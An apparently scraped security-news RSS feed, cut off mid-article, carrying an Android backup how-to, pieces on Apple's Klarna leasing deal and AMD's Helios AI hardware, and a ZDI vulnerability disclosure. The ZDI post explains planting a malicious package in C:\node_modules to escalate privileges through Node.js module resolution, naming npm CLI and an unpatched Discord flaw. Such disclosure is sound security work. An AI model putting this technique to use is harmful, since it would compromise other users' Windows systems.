<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-documents.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup documents" class="wp-image-4198961" width="1024" height="546" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The easily overlooked new option for backing up documents on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">The option is on its way to all devices running 2018’s <a href="https://www.computerworld.com/article/1698598/android-9-pie.html">Android 9 release</a> and higher. (If you’re still using a phone with an <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> older than that, you’re now a whopping <em>eight years </em>out of date, and you have <a href="https://www.computerworld.com/article/1718016/android-upgrades-matter.html"><em>much</em> bigger problems</a>.)</p>



<p class="wp-block-paragraph">Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.</p>



<p class="wp-block-paragraph">Lemme show ya how.</p>



<h2 class="wp-block-heading"><strong>Android’s document backup addition</strong></h2>



<p class="wp-block-paragraph">I promise: This couldn’t be much simpler.</p>



<p class="wp-block-paragraph">No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)</p>



<p class="wp-block-paragraph">Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.</p>



<p class="wp-block-paragraph">However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-options.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup options" class="wp-image-4198962" width="1024" height="742" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s expanded list of backup options — now including documents alongside other forms of on-device data.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.</p>



<p class="wp-block-paragraph">If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.</p>



<p class="wp-block-paragraph">Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That <em>does</em> mean they’ll count against your overall Google storage total, so keep an eye on your <a href="https://drive.google.com/drive/u/0/quota" target="_blank" rel="noreferrer noopener">Drive storage total</a> to make sure you’re in solid shape and look to the <a href="https://one.google.com/storage/management?from=1&amp;g1_landing_page=1" target="_blank" rel="noreferrer noopener">Google One storage hub</a> if you ever want some simple suggestions for freeing up space.</p>



<p class="wp-block-paragraph">Speaking of other Google services: If you ever want to keep <em>other</em> types of locally stored <em>non</em>-document files from an Android device synced and available elsewhere, you can easily rely on <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=in-app%20upgrade.-,Photos%20and%20music,-OK%2C%20so%20they">Google Photos for syncing screenshots and other images</a> — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific <em>individual </em>on-device folders if you want to sync some but not all of those areas) — and you can still turn to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">those aforementioned third-party apps</a> for broader syncing of anything else imaginable.</p>



<p class="wp-block-paragraph">But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on <em>you </em>to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.</p>



<p class="wp-block-paragraph">Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that <em>that </em>can only be a good thing.</p>



<p class="wp-block-paragraph"><em>Get practical Android knowledge in your inbox every Friday with </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>— one new thing to try each week, straight from me to you.</em></p>
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<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Use ChatGPT and Gemini Prompts to Find Out What They Know About You]]></title>
<description><![CDATA[It can be unsettling what Gemini and ChatGPT have figured out about you and how easily your privacy can be punctured. Here’s how to find out.]]></description>
<link>https://tsecurity.de/de/3694749/ai-nachrichten/how-to-use-chatgpt-and-gemini-prompts-to-find-out-what-they-know-about-you/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694749/ai-nachrichten/how-to-use-chatgpt-and-gemini-prompts-to-find-out-what-they-know-about-you/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:54 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It can be unsettling what Gemini and ChatGPT have figured out about you and how easily your privacy can be punctured. Here’s how to find out.]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
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  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
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            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
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<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
